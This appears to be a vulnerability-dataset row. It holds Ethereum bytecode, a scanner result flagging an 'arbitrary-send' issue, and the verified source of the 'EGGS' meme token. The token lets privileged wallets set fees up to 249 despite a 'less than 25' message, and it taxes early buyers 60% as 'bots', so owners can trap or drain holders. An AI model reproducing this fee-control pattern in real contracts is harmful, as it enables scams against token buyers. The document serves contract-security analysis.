020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610ed0578082015181840152602081019050610eb5565b50505050905090810190601f168015610efd5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a15050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fb057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110c957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b803073ffffffffffffffffffffffffffffffffffffffff16311015151561110857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111a3576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561119e57600080fd5b6111e4565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156111e357600080fd5b5b5050565b6111f0611868565b600060206040519081016040528086815250915060016004805480600101828161121a9190611882565b9160005260206000209001600085909190915060008201518160000190805190602001906112499291906118ae565b5050500390508063ffffffff168114151561126357600080fd5b7f8482e3a5a624fa2db56c597cc43a1fd7c7b13b40073d14918619a6658932a8f381868660405180848152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b838110156112ff5780820151818401526020810190506112e4565b50505050905090810190601f16801561132c5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a182600260008381526020019081526020016000208190555061135f6000858361159e565b5050505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60006706f05b59d3b200008210156113e2576113db60646113cd60056064038561176a90919063ffffffff16565b6117a590919063ffffffff16565b9050611493565b671bc16d674ec800008210156114235761141c606461140e60046064038561176a90919063ffffffff16565b6117a590919063ffffffff16565b9050611492565b674563918244f400008210156114645761145d606461144f60036064038561176a90919063ffffffff16565b6117a590919063ffffffff16565b9050611491565b61148e606461148060026064038561176a90919063ffffffff16565b6117a590919063ffffffff16565b90505b5b5b919050565b60008282111515156114a657fe5b818303905092915050565b60006706f05b59d3b200008210156114f1576114ea60646114dc60c88561176a90919063ffffffff16565b6117a590919063ffffffff16565b9050611599565b671bc16d674ec8000082101561152f57611528606461151a60878561176a90919063ffffffff16565b6117a590919063ffffffff16565b9050611598565b674563918244f4000082101561156d576115666064611558607d8561176a90919063ffffffff16565b6117a590919063ffffffff16565b9050611597565b611594606461158660738561176a90919063ffffffff16565b6117a590919063ffffffff16565b90505b5b5b919050565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816001600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415156116c657600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055505b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a1505050565b600080600084141561177f576000915061179e565b828402905082848281151561179057fe5b0414151561179a57fe5b8091505b5092915050565b60008082848115156117b357fe5b0490508091505092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061182957805160ff1916838001178555611857565b82800160010185558215611857579182015b8281111561185657825182559160200191906001019061183b565b5b509050611864919061192e565b5090565b60206040519081016040528061187c611953565b81525090565b8154818355818115116118a9578183600052602060002091820191016118a89190611967565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106118ef57805160ff191683800117855561191d565b8280016001018555821561191d579182015b8281111561191c578251825591602001919060010190611901565b5b50905061192a919061192e565b5090565b61195091905b8082111561194c576000816000905550600101611934565b5090565b90565b602060405190810160405280600081525090565b61199391905b8082111561198f57600080820160006119869190611996565b5060010161196d565b5090565b90565b50805460018160011615610100020316600290046000825580601f106119bc57506119db565b601f0160209004906000526020600020908101906119da919061192e565b5b505600a165627a7a72305820e90fadb5f8b4de8f0ce71b1654a3fc14bf0d77d12e39ce08e51e75097e1cc13d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,448 |
0x0c0BC21b3182b18971eb8B3E993ed953B7a780B0
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/*
Join us on Easter in a $CULT like fashion and search for the original $EGGS in the blockchain.
Periodically throughout the day, search for our social media channels in the code.
Then search our social media channels for more clues to the $EGGS of where the website is,
when no tax hour is, what to Tweet for prizes and more. Will you be able to find all the $EGGS?
READ THE CODE FOR THE EGGS: t.me/eggsproject
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract EGGS is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EGGS";
string private constant _symbol = "EGGS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
//Easter Eggs
string public _easterEgg;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant _tTotal = 100 * 1e5 * 1e9; // 10,000,000
uint256 private _firstBlock;
uint256 private _botBlocks;
uint256 public _maxWalletAmount = 500 * 1e3 * 1e9; // 500,000
// fees
uint256 public _liquidityFeeOnBuy = 0;
uint256 public _marketingFeeOnBuy = 6;
uint256 public _liquidityFeeOnSell = 6;
uint256 public _marketingFeeOnSell = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _previousMarketingFee = _marketingFee;
uint256 private _liquidityFee;
uint256 private _marketingFee;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0x2b78A951de22cFFcFBD36F74BeEEb74a00d7244D);
address payable private _deployWallet = payable(0x022Cd27caF8959B9575300e54C7Ff6cA2d3090E5);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 public swapAmount;
bool private tradingOpen = false;
bool private inSwap = false;
event FeesUpdated(uint256 _marketingFee, uint256 _liquidityFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
swapAmount = 10000 * 1e9;
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_deployWallet] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _liquidityFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
_marketingFee = 0;
_liquidityFee = 0;
}
function setBotFee() private {
_previousLiquidityFee = _liquidityFee;
_previousMarketingFee = _marketingFee;
_liquidityFee = 30;
_marketingFee = 30;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
require(tradingOpen);
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
if (block.number <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
if (bots[to]) {
setBotFee();
takeFee = true;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !bots[to]) {
_liquidityFee = _liquidityFeeOnBuy;
_marketingFee = _marketingFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_liquidityFee = _liquidityFeeOnSell;
_marketingFee = _marketingFeeOnSell;
}
if (!inSwap && from != uniswapV2Pair) {
uint256 contractTokenBalance = balanceOf(address(this));
if (contractTokenBalance > swapAmount) {
swapAndLiquify(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function findTheEGG(string memory EggMessage) external {
require(_msgSender() == _deployWallet);
_easterEgg = EggMessage;
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_deployWallet,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = _liquidityFee.mul(contractTokenBalance).div(_marketingFee.add(_liquidityFee));
// split the contract balance into halves
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(otherHalf); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
//once opened cannot be undone
function openTrading(uint256 botBlocks) external onlyOwner() {
_firstBlock = block.number;
_botBlocks = botBlocks;
tradingOpen = true;
}
function manualSwap() external {
require(_msgSender() == _deployWallet || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
if (contractBalance > 0) {
swapTokensForEth(contractBalance);
}
}
function manualSend() external {
require(_msgSender() == _deployWallet || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tMarketing = amount.mul(_marketingFee).div(100);
fees.tLiquidity = amount.mul(_liquidityFee).div(100);
fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity));
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external onlyOwner() {
require(maxWalletAmount > _tTotal.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= _tTotal, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
function setSwapAmount(uint256 _swapAmount) external {
require(_msgSender() == _deployWallet || _msgSender() == _marketingAddress);
swapAmount = _swapAmount;
}
function setTaxes(uint256 marketingFee, uint256 liquidityFee) external {
require(_msgSender() == _deployWallet || _msgSender() == _marketingAddress);
uint256 totalFee = marketingFee.add(liquidityFee);
require(totalFee.div(10) < 25, "Sum of fees must be less than 25");
_marketingFee = marketingFee;
_liquidityFee = liquidityFee;
_previousMarketingFee = _marketingFee;
_previousLiquidityFee = _liquidityFee;
emit FeesUpdated(_marketingFee, _liquidityFee);
}
}
|
0x6080604052600436106101855760003560e01c806395d89b41116100d1578063d16336491161008a578063e581dc7111610064578063e581dc711461046c578063e632313c14610482578063f2fde38b146104a2578063f4293890146104c257600080fd5b8063d1633649146103f0578063d52dfc1414610410578063dd62ed3e1461042657600080fd5b806395d89b4114610191578063a1bd0ba114610365578063a9059cbb14610385578063c4066f2f146103a5578063c647b20e146103bb578063cad09269146103db57600080fd5b8063313ce5671161013e57806351bc3c851161011857806351bc3c85146102e65780636c0a24eb146102fb57806370a08231146103115780638da5cb5b1461034757600080fd5b8063313ce5671461027c5780633c0a73ae1461029857806349bd5a5e146102ae57600080fd5b806306fdde0314610191578063095ea7b3146101d057806318160ddd1461020057806323b872dd1461022457806327a14fc2146102445780632e8fa8211461026657600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506040805180820190915260048152634547475360e01b60208201525b6040516101c79190611714565b60405180910390f35b3480156101dc57600080fd5b506101f06101eb36600461177e565b6104d7565b60405190151581526020016101c7565b34801561020c57600080fd5b50662386f26fc100005b6040519081526020016101c7565b34801561023057600080fd5b506101f061023f3660046117aa565b6104ee565b34801561025057600080fd5b5061026461025f3660046117eb565b610557565b005b34801561027257600080fd5b5061021660165481565b34801561028857600080fd5b50604051600981526020016101c7565b3480156102a457600080fd5b5061021660095481565b3480156102ba57600080fd5b506015546102ce906001600160a01b031681565b6040516001600160a01b0390911681526020016101c7565b3480156102f257600080fd5b50610264610672565b34801561030757600080fd5b5061021660085481565b34801561031d57600080fd5b5061021661032c366004611804565b6001600160a01b031660009081526002602052604090205490565b34801561035357600080fd5b506000546001600160a01b03166102ce565b34801561037157600080fd5b50610264610380366004611837565b6106d2565b34801561039157600080fd5b506101f06103a036600461177e565b610709565b3480156103b157600080fd5b50610216600c5481565b3480156103c757600080fd5b506102646103d63660046118e8565b610716565b3480156103e757600080fd5b506101ba61080e565b3480156103fc57600080fd5b5061026461040b3660046117eb565b61089c565b34801561041c57600080fd5b50610216600b5481565b34801561043257600080fd5b5061021661044136600461190a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047857600080fd5b50610216600a5481565b34801561048e57600080fd5b5061026461049d3660046117eb565b6108dc565b3480156104ae57600080fd5b506102646104bd366004611804565b61091f565b3480156104ce57600080fd5b506102646109b7565b60006104e4338484610a05565b5060015b92915050565b60006104fb848484610b29565b61054d843361054885604051806060016040528060288152602001611b0c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f8f565b610a05565b5060019392505050565b6000546001600160a01b0316331461058a5760405162461bcd60e51b815260040161058190611943565b60405180910390fd5b61059c662386f26fc1000060c8610fc9565b81116105fd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b6064820152608401610581565b662386f26fc1000081111561066d5760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b6064820152608401610581565b600855565b6013546001600160a01b0316336001600160a01b031614806106a757506012546001600160a01b0316336001600160a01b0316145b6106b057600080fd5b3060009081526002602052604090205480156106cf576106cf81611012565b50565b6013546001600160a01b0316336001600160a01b0316146106f257600080fd5b805161070590600390602084019061167b565b5050565b60006104e4338484610b29565b6013546001600160a01b0316336001600160a01b0316148061074b57506012546001600160a01b0316336001600160a01b0316145b61075457600080fd5b60006107608383611195565b9050601961076f82600a610fc9565b106107bc5760405162461bcd60e51b815260206004820181905260248201527f53756d206f662066656573206d757374206265206c657373207468616e2032356044820152606401610581565b6010839055600f829055600e839055600d82905560408051848152602081018490527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a1505050565b6003805461081b90611978565b80601f016020809104026020016040519081016040528092919081815260200182805461084790611978565b80156108945780601f1061086957610100808354040283529160200191610894565b820191906000526020600020905b81548152906001019060200180831161087757829003601f168201915b505050505081565b6000546001600160a01b031633146108c65760405162461bcd60e51b815260040161058190611943565b436006556007556017805460ff19166001179055565b6013546001600160a01b0316336001600160a01b0316148061091157506012546001600160a01b0316336001600160a01b0316145b61091a57600080fd5b601655565b6000546001600160a01b031633146109495760405162461bcd60e51b815260040161058190611943565b6001600160a01b0381166109ae5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610581565b6106cf816111f4565b6013546001600160a01b0316336001600160a01b031614806109ec57506012546001600160a01b0316336001600160a01b0316145b6109f557600080fd5b4780156106cf576106cf81611244565b6001600160a01b038316610a675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610581565b6001600160a01b038216610ac85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610581565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610581565b6001600160a01b038216610bef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610581565b60008111610c515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610581565b6001610c656000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610c9457506000546001600160a01b03848116911614155b8015610ca957506001600160a01b0384163014155b8015610cbe57506001600160a01b0383163014155b15610f245760175460ff16610cd257600080fd5b6015546001600160a01b038581169116148015610cfd57506014546001600160a01b03848116911614155b15610e2457600854610d2e83610d28866001600160a01b031660009081526002602052604090205490565b90611195565b1115610dac5760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a401610581565b600754600654610dbb91611195565b4311610de5576001600160a01b0383166000908152601160205260409020805460ff191660011790555b6001600160a01b03831660009081526011602052604090205460ff1615610e2457610e20600f8054600d5560108054600e55601e9182905555565b5060015b6015546001600160a01b038581169116148015610e4f57506014546001600160a01b03848116911614155b8015610e7457506001600160a01b03831660009081526011602052604090205460ff16155b15610e8657600954600f55600a546010555b6015546001600160a01b038481169116148015610eb157506014546001600160a01b03858116911614155b15610ec357600b54600f55600c546010555b601754610100900460ff16158015610ee957506015546001600160a01b03858116911614155b15610f245730600090815260026020526040902054601654811115610f1157610f118161127e565b478015610f2157610f2147611244565b50505b6001600160a01b03841660009081526005602052604090205460ff1680610f6357506001600160a01b03831660009081526005602052604090205460ff165b15610f6c575060005b610f7884848484611305565b610f89600d54600f55600e54601055565b50505050565b60008184841115610fb35760405162461bcd60e51b81526004016105819190611714565b506000610fc084866119c9565b95945050505050565b600061100b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131d565b9392505050565b6017805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611056576110566119e0565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110aa57600080fd5b505afa1580156110be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e291906119f6565b816001815181106110f5576110f56119e0565b6001600160a01b03928316602091820292909201015260145461111b9130911684610a05565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611154908590600090869030904290600401611a13565b600060405180830381600087803b15801561116e57600080fd5b505af1158015611182573d6000803e3d6000fd5b50506017805461ff001916905550505050565b6000806111a28385611a84565b90508381101561100b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610581565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610705573d6000803e3d6000fd5b6017805461ff001916610100179055600f546010546000916112b6916112a391611195565b600f546112b0908561134b565b90610fc9565b905060006112c5826002610fc9565b905060006112d384836113ca565b9050476112df82611012565b60006112f9836112b0866112f347876113ca565b9061134b565b9050611182848261140c565b80611312576113126114cf565b610f788484846114fd565b6000818361133e5760405162461bcd60e51b81526004016105819190611714565b506000610fc08486611a9c565b60008261135a575060006104e8565b60006113668385611abe565b9050826113738583611a9c565b1461100b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610581565b600061100b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f8f565b6014546114249030906001600160a01b031684610a05565b60145460135460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114c89190611add565b5050505050565b6010541580156114df5750600f54155b156114e657565b60108054600e55600f8054600d5560009182905555565b61152160405180606001604052806000815260200160008152602001600081525090565b61153b60646112b06010548561134b90919063ffffffff16565b6020820152600f54611555906064906112b090859061134b565b8082526020820151611573919061156d9085906113ca565b906113ca565b6040808301919091526001600160a01b03851660009081526002602052205461159c90836113ca565b6001600160a01b038086166000908152600260205260408082209390935583830151918616815291909120546115d191611195565b6001600160a01b03841660009081526002602090815260409091209190915581519082015161161a916116049190611195565b3060009081526002602052604090205490611195565b30600090815260026020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b82805461168790611978565b90600052602060002090601f0160209004810192826116a957600085556116ef565b82601f106116c257805160ff19168380011785556116ef565b828001600101855582156116ef579182015b828111156116ef5782518255916020019190600101906116d4565b506116fb9291506116ff565b5090565b5b808211156116fb5760008155600101611700565b600060208083528351808285015260005b8181101561174157858101830151858201604001528201611725565b81811115611753576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146106cf57600080fd5b6000806040838503121561179157600080fd5b823561179c81611769565b946020939093013593505050565b6000806000606084860312156117bf57600080fd5b83356117ca81611769565b925060208401356117da81611769565b929592945050506040919091013590565b6000602082840312156117fd57600080fd5b5035919050565b60006020828403121561181657600080fd5b813561100b81611769565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561184957600080fd5b813567ffffffffffffffff808211156118